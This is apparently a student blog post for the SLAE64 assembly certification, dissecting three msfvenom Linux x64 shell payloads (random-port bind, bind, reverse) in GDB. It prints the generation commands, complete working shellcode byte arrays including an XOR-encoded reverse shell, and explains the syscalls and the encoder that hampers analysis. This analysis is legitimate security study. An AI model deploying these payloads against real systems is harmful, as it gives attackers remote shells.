The fifth assignment of the SLAE64 exam states:

  • Take up at least 3 shellcode samples created using Msfvenom (née Msfpayload) for linux/x86_64
  • Use GDB to dissect the functionality of the shellcode
  • Document your analysis

One thing that immediately stands out is the relative lack in diversity when it comes to linux/x64 payloads. In the end I chose the following payloads for my analysis:

  • linux/x64/shell_bind_tcp_random_port
  • linux/x64/shell_bind_tcp
  • linux/x64/shell_reverse_tcp

shell_bind_tcp_random_port

The latter two payloads I chose because of how often their used and I wanted to determine what exactly they do precisely because of their popularity. That is not why I chose shell_bind_tcp_random_port however. I was merely curious how the random port selection worked.

So without further ado, lets get started:

kalimah% msfvenom --payload linux/x64/shell_bind_tcp_random_port -f c --platform linux --arch x64
No encoder or badchars specified, outputting raw payload
Payload size: 57 bytes
Final size of c file: 264 bytes
unsigned char buf[] =
"\x48\x31\xf6\x48\xf7\xe6\xff\xc6\x6a\x02\x5f\xb0\x29\x0f\x05"
"\x52\x5e\x50\x5f\xb0\x32\x0f\x05\xb0\x2b\x0f\x05\x57\x5e\x48"
"\x97\xff\xce\xb0\x21\x0f\x05\x75\xf8\x52\x48\xbf\x2f\x2f\x62"
"\x69\x6e\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x0f\x05";

First let’s verify it actually works; so after dropping this into our shellcode wrapper and determining the port it has chosen with netstat we do get a working shell on port 59937. Good.

Quickly scrolling through the disassembly to determine which syscalls are made we get this list in order of usage:

  • 0x29 = socket
  • 0x32 = listen
  • 0x2b = accept
  • 0x21 = dup2
  • 0x3b = execve

But nothing related to randomness like getrandom…let’s dissect this.

listening

It starts by clearing RSI and through the mul call also ends up clearing RDX. Next RSI gets incremented, 0x2 get pushed onto the stack and popped into RDI. All the arguments for the socket syscall are in place and after storing the syscall number for socket into RAX the call gets made.

RSI gets cleared by pushing RDX (0) onto the stack and popping it into RSI. Next the file descriptor number that socket returned in RAX is moved to RDI via the stack, the syscall number for listen gets set and the syscall is made…but we never set up sockaddr_in nor called the bind syscall? Previously we set sockaddr_in up on the stack with our port but here it’s completely ignored and NULL is used.

It gets even stranger because the next instruction moves the syscall number for accept into RAX and directly does the syscall…again nothing is set up for the client sockaddr_in structure?

However at this point we can see our shellcode is actually listening on different port (60807) than it previously was.

listening

From here on it does the regular dup2 dance and pushes the /bin//sh string onto the stack before using execve to launch a shell.

So by leaving out the bind call we got the kernel to randomly select a port for us it seems. After searching around for a bit I ran into evidence to support that claim: " Fortunately, this is easily done by requesting port 0, which instructs the system to choose an ephemeral port number." And by not having called bind on the socket and leaving the associated data structure empty we’ve requested port 0 and got a random port back. Nifty.

shell_bind_tcp

kalimah% msfvenom --payload linux/x64/shell_bind_tcp -f c --platform linux --arch x64 LPORT=4444
No encoder or badchars specified, outputting raw payload
Payload size: 86 bytes
Final size of c file: 386 bytes
unsigned char buf[] =
"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x52"
"\xc7\x04\x24\x02\x00\x11\x5c\x48\x89\xe6\x6a\x10\x5a\x6a\x31"
"\x58\x0f\x05\x6a\x32\x58\x0f\x05\x48\x31\xf6\x6a\x2b\x58\x0f"
"\x05\x48\x97\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75"
"\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00"
"\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05";

One interesting observation off the bat is that msfvenom reports a payload size of 86 bytes, while our wrapper reports a length of 19:

nullbyte

As you can see in the bytecode buffer however there is a NULL byte which is essentially what our wrapper complains about.

The code starts by moving the first syscall number 0x29 for socket into RAX via the stack. Then the cdq instruction is used to effectively zero out RDX by sign extending the value in RAX over RDX:RAX. Then it continues to prepare the arguments for socket and invokes the syscall before atomically swapping RAX (returned socket file descriptor) with RDI.

Then we run into our NULL byte:

mov    DWORD PTR [rsp],0x5c110002

It then moves two words of data corresponding to the sockaddr_in fields sin_port and sin_family in one go. The port number 0x5c11 (4444) is fine, but the family is also a word in size. Yet we only want to indicate using AF_INET (2), so it ends up pushing the word 0x0002. In our first assignment we’ve demonstrated how to get rid of this NULL byte:

    xor rax, rax
    push rax            ; sin_zero
    push rax            ; zero out another 8 bytes for remaining members
                    ; including 4 bytes for sin_addr.s_addr which
                    ; need to remain 0
    mov word [rsp+2], 0x5c11    ; sin_port
    mov byte [rsp], 0x2     ; sin_family

The remainder is basically equivalent to what was discussed before, this time doing the bind syscall.

shell_reverse_tcp

Finally let’s have a look at the reverse shell offered by msfvenom:

kalimah% msfvenom --payload linux/x64/shell_reverse_tcp -f c --platform linux --arch x64 LPORT=4444 LHOST=127.0.0.1
No encoder or badchars specified, outputting raw payload
Payload size: 74 bytes
Final size of c file: 335 bytes
unsigned char buf[] =
"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x48"
"\xb9\x02\x00\x11\x5c\x7f\x00\x00\x01\x51\x48\x89\xe6\x6a\x10"
"\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58"
"\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f"
"\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05";

And again we see the NULL byte…multiple actually:

nullbytes

movabs rcx,0x100007f5c110002

This time three fields of sockaddr_in get pushed onto the stack in one go. Just like with the previous shellcode sin_port and sin_family get pushed, but this time also s_addr comes along.

The remainder of the shellcode is not too interesting as we have seen the same dance before in assignment 2. So instead, let’s see if there’s a way with msfvenom to get rid of these NULL bytes. Turns out we can simply pass --bad-chars '\x00':

kalimah% msfvenom --payload linux/x64/shell_reverse_tcp -f c --platform linux --arch x64 --bad-chars '\x00' LPORT=4444 LHOST=127.0.0.1
Found 3 compatible encoders
Attempting to encode payload with 1 iterations of generic/none
generic/none failed with Encoding failed due to a bad character (index=17, char=0x00)
Attempting to encode payload with 1 iterations of x64/xor
x64/xor succeeded with size 119 (iteration=0)
x64/xor chosen with final size 119
Payload size: 119 bytes
Final size of c file: 524 bytes
unsigned char buf[] =
"\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d\x05\xef\xff"
"\xff\xff\x48\xbb\xfc\x9e\xcf\x93\xf1\xbd\x14\x29\x48\x31\x58"
"\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\x96\xb7\x97\x0a\x9b\xbf"
"\x4b\x43\xfd\xc0\xc0\x96\xb9\x2a\x5c\x90\xfe\x9e\xde\xcf\x8e"
"\xbd\x14\x28\xad\xd6\x46\x75\x9b\xad\x4e\x43\xd6\xc6\xc0\x96"
"\x9b\xbe\x4a\x61\x03\x50\xa5\xb2\xa9\xb2\x11\x5c\x0a\xf4\xf4"
"\xcb\x68\xf5\xaf\x06\x9e\xf7\xa1\xbc\x82\xd5\x14\x7a\xb4\x17"
"\x28\xc1\xa6\xf5\x9d\xcf\xf3\x9b\xcf\x93\xf1\xbd\x14\x29";

As you can see there are no NULLs and msfvenom used an encoder (x64/xor) to bypass the NULL bytes.

But what does it actually do now?

encoded

Interesting…there is a lot more going on now.

It starts by clearing RCX and setting the value 10 into it. Then it uses RIP relative addressing to save into RAX the address of where it is right now minus 17. That is the address where we started out by clearing RCX. Next it moves 0x2914bdf193cf9efc into RBX which appear to be other instructions as decoded with Python:

>>> '2914bdf193cf9efc'.decode('hex')
')\x14\xbd\xf1\x93\xcf\x9e\xfc'
>>>

Now we seem to have hit upon the decoder. It proceeds to xor’s the contents of RBX with those of RAX+0x27, subtracts -8 from RAX (effectively adding 8) and loops back to the xor. Thus it’s moving through the remaining instructions and decoding them one quad word at a time until the counter in RCX reaches zero. That’s when the remainder of the program becomes usable and we have our decoded program:

decoded

Lessons learned

  • Requesting port 0 gets you a random port!
  • The cdq instruction can also be used to clear RDX when RAX has just been cleared. This can help to reduce code size.
  • msfvenom does interesting things to throw off analysis when using an encoder. The XOR encoder was easy to decode by hand but it is obvious where it’s trying to trick analysis tools.

Wrapping up

I have uploaded the msfvenom code to jasperla/slae64 on GitHub:

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification. Student ID: SLAE64-1614